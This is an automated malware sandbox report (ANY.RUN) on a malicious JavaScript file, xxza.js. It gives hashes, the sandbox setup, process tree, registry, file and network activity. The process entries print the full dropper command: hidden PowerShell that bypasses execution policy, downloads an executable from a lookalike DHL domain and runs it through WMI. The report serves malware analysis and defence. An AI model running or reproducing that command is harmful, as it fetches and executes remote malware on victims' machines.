Malware analysis xxza.js Malicious activity | ANY.RUN

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File name:	xxza.js
Full analysis:	https://app.any.run/tasks/37306ab1-37ed-44c1-bcd5-507324c78d07
Verdict:	Malicious activity
Analysis date:	August 21, 2018, 18:13:01
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	text/plain
File info:	ASCII text, with very long lines, with CRLF line terminators
MD5:	3A2FA44CE79F3B098B78084807150AFA
SHA1:	26F4B33119FD953E70A13CD0032535F1DFE3021F
SHA256:	205634F9353F4AB1084C78E6314E71C363E509499586C9C4A64630996BE9EEFE
SSDEEP:	768:KKwZRVmdgTos7YpOl579wIQe1vjTt9eGWPQ8XwXBeVvQF36DsGAxlUbhDYcjU:jwZRVmdmBR18XgB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.007.20033)
Adobe Flash Player 27 ActiveX (27.0.0.187)
Adobe Flash Player 27 NPAPI (27.0.0.187)
Adobe Flash Player 27 PPAPI (27.0.0.187)
CCleaner (5.35)
FileZilla Client 3.31.0 (3.31.0)
Google Chrome (61.0.3163.91)
Google Update Helper (1.3.33.5)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Home and Business 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.40660 (12.0.40660.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.40660 (12.0.40660)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.40660 (12.0.40660)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.11.25325 (14.11.25325.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.11.25325 (14.11.25325)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.11.25325 (14.11.25325)
Mozilla Firefox 55.0.3 (x86 en-US) (55.0.3)
Mozilla Maintenance Service (55.0.3)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype™ 7.39 (7.39.102)
Steam (2.10.91.91)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - cmd.exe (PID: 4060)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - WScript.exe (PID: 3996)
- Creates files in the user directory
  - powershell.exe (PID: 2592)
INFO
- Creates files in the user directory
  - firefox.exe (PID: 4084)
- Application launched itself
  - firefox.exe (PID: 4084)
- Dropped object may contain URL's
  - firefox.exe (PID: 4084)
- Reads CPU info
  - firefox.exe (PID: 4084)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2592

powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://store.dhl-v.com/page7768.php','C:\Users\admin\AppData\Local\TempgLw14.ExE'); INvoKe-WmIMEThOd -CLass WIN32_PRocess -NaMe CreaTE -ArgumentLIst 'C:\Users\admin\AppData\Local\TempgLw14.exE'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3420

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4084.0.1589734458\616221386" -childID 1 -isForBrowser -intPrefs 5:50|6:-1|28:1000|33:20|34:10|43:128|44:10000|49:0|51:400|52:1|53:0|54:0|59:0|60:120|61:120|91:2|92:1|106:5000|117:0|119:0|130:10000|142:-1|147:128|148:10000|149:0|155:24|156:32768|158:0|159:0|167:5|171:1048576|172:100|173:5000|175:600|177:1|186:1|190:0|200:60000| -boolPrefs 1:0|2:0|4:0|26:1|27:1|30:0|35:1|36:0|37:0|38:0|41:1|42:1|45:0|46:0|47:0|48:0|50:0|55:1|56:1|57:0|58:1|62:1|63:1|64:0|65:1|66:1|67:0|68:1|71:0|72:0|75:1|76:1|80:1|81:1|82:1|83:0|85:0|86:0|87:1|88:0|93:1|94:0|100:0|105:0|108:1|109:1|112:1|114:1|118:0|121:1|124:1|125:1|131:0|132:0|133:1|135:0|141:0|143:1|144:0|145:1|146:0|153:0|154:0|157:1|160:0|162:1|164:1|165:0|170:0|174:1|179:0|180:0|181:0|182:1|183:0|184:0|185:1|188:0|192:0|193:0|194:1|195:1|196:0|197:1|198:1|199:1|201:0|202:0|204:0|212:1|213:1|214:0|215:0|216:0| -stringPrefs "3:7;release|134:3;1.0|151:332; ¼½¾ǃː̷̸։֊׃״؉؊٪۔܁܂܃܄ᅟᅠ᜵ ‎‏‐’․‧  ‪‫‬‭‮ ‹›⁁⁄⁒ ⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟∕∶⎮╱⧶⧸⫻⫽⿰⿱⿲⿳⿴⿵⿶⿷⿸⿹⿺⿻　。〔〕〳゠ㅤ㈝㈞㎮㎯㏆㏟꞉︔︕︿﹝﹞．／｡ﾠ￹￺￻�|152:8;moderate|187:38;{424b4696-9df9-46dd-9eaa-a645bccdb7ee}|" -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" 4084 "\\.\pipe\gecko-crash-server-pipe.4084" tab

C:\Program Files\Mozilla Firefox\firefox.exe

firefox.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

LOW

Description:

Firefox

Exit code:

Version:

55.0.3

Modules

Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll

3996

"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\xxza.js"

C:\Windows\System32\WScript.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft ® Windows Based Script Host

Exit code:

Version:

5.8.7600.16385

Modules

Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

4060

"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://store.dhl-v.com/page7768.php','%temp%gLw14.ExE'); INvoKe-WmIMEThOd -CLass WIN32_PRocess -NaMe CreaTE -ArgumentLIst '%TEMp%gLw14.exE'

C:\Windows\System32\cmd.exe

—

WScript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

4084

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

explorer.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

MEDIUM

Description:

Firefox

Exit code:

Version:

55.0.3

Modules

Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll

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Total events

834

Read events

761

Write events

Delete events

Modification events


(PID) Process:	(2592) powershell.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(3996) WScript.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3996) WScript.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(2592) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	EnableFileTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2592	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W1EB1V6N2BI6QKBY27TD.temp		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\startupCache\scriptCache-current.bin		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\Cache.Trash29681		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\renpv6dn.default\sessionCheckpoints.json.tmp		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\directoryLinks.json.tmp		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\safebrowsing-updating\allow-flashallow-digest256.pset		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\safebrowsing-updating\allow-flashallow-digest256.sbstore		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\safebrowsing-updating\base-track-digest256.pset		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\safebrowsing-updating\base-track-digest256.sbstore		—
		MD5:—	SHA256:—
4084	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\renpv6dn.default\safebrowsing-updating\block-flash-digest256.pset		—
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
4084	firefox.exe	POST	200	93.184.220.29:80	http://ocsp.digicert.com/	US	der	471 b	whitelisted
4084	firefox.exe	POST	200	93.184.220.29:80	http://ocsp.digicert.com/	US	der	471 b	whitelisted
4084	firefox.exe	POST	200	93.184.220.29:80	http://ocsp.digicert.com/	US	der	471 b	whitelisted
4084	firefox.exe	GET	200	2.16.186.112:80	http://detectportal.firefox.com/success.txt	unknown	text	8 b	whitelisted
4084	firefox.exe	POST	200	93.184.220.29:80	http://ocsp.digicert.com/	US	der	471 b	whitelisted
4084	firefox.exe	POST	200	93.184.220.29:80	http://ocsp.digicert.com/	US	der	471 b	whitelisted
4084	firefox.exe	POST	200	216.58.215.238:80	http://ocsp.pki.goog/GTSGIAG3	US	der	463 b	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4084	firefox.exe	54.230.46.177:443	snippets.cdn.mozilla.net	Amazon.com, Inc.	US	unknown
4084	firefox.exe	52.30.19.88:443	location.services.mozilla.com	Amazon.com, Inc.	IE	unknown
4084	firefox.exe	93.184.220.29:80	ocsp.digicert.com	MCI Communications Services, Inc. d/b/a Verizon Business	US	whitelisted
4084	firefox.exe	216.58.214.78:443	safebrowsing.google.com	Google Inc.	US	whitelisted
4084	firefox.exe	172.217.16.174:443	safebrowsing-cache.google.com	Google Inc.	US	whitelisted
4084	firefox.exe	34.208.247.210:443	shavar.services.mozilla.com	Amazon.com, Inc.	US	unknown
4084	firefox.exe	54.230.44.146:443	tiles-cloudfront.cdn.mozilla.net	Amazon.com, Inc.	US	whitelisted
4084	firefox.exe	216.58.215.238:80	ocsp.pki.goog	Google Inc.	US	whitelisted
4084	firefox.exe	52.25.111.249:443	aus5.mozilla.org	Amazon.com, Inc.	US	unknown
4084	firefox.exe	2.16.186.112:80	detectportal.firefox.com	Akamai International B.V.	—	whitelisted

DNS requests

Domain	IP	Reputation
store.dhl-v.com	—	unknown
detectportal.firefox.com	2.16.186.112 2.16.186.50	whitelisted
a1089.d.akamai.net	2.16.186.50 2.16.186.112	whitelisted
search.services.mozilla.com	54.148.43.57 52.37.53.20 52.24.130.228	whitelisted
search.r53-2.services.mozilla.com	52.24.130.228 52.37.53.20 54.148.43.57	whitelisted
tiles.services.mozilla.com	54.244.7.9 52.41.78.152 54.70.186.116 52.39.131.77 52.39.170.116 34.209.211.164 34.209.108.219 34.210.116.46	whitelisted
tiles.r53-2.services.mozilla.com	34.210.116.46 34.209.108.219 34.209.211.164 52.39.170.116 52.39.131.77 54.70.186.116 52.41.78.152 54.244.7.9	whitelisted
www.mozilla.org	104.16.40.2 104.16.41.2	whitelisted
aus5.mozilla.org	52.25.111.249 54.187.218.105 34.210.48.174 52.27.206.225 52.37.241.214 52.35.247.242 35.163.65.200 54.70.185.30	whitelisted
www.mozilla.org.cdn.cloudflare.net	104.16.41.2 104.16.40.2	whitelisted

Threats

No threats detected

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No debug info

General Info

xxza.js

3A2FA44CE79F3B098B78084807150AFA

26F4B33119FD953E70A13CD0032535F1DFE3021F

205634F9353F4AB1084C78E6314E71C363E509499586C9C4A64630996BE9EEFE

768:KKwZRVmdgTos7YpOl579wIQe1vjTt9eGWPQ8XwXBeVvQF36DsGAxlUbhDYcjU:jwZRVmdmBR18XgB

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

SUSPICIOUS

Starts CMD.EXE for commands execution

Creates files in the user directory

INFO

Creates files in the user directory

Application launched itself

Dropped object may contain URL's

Reads CPU info

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings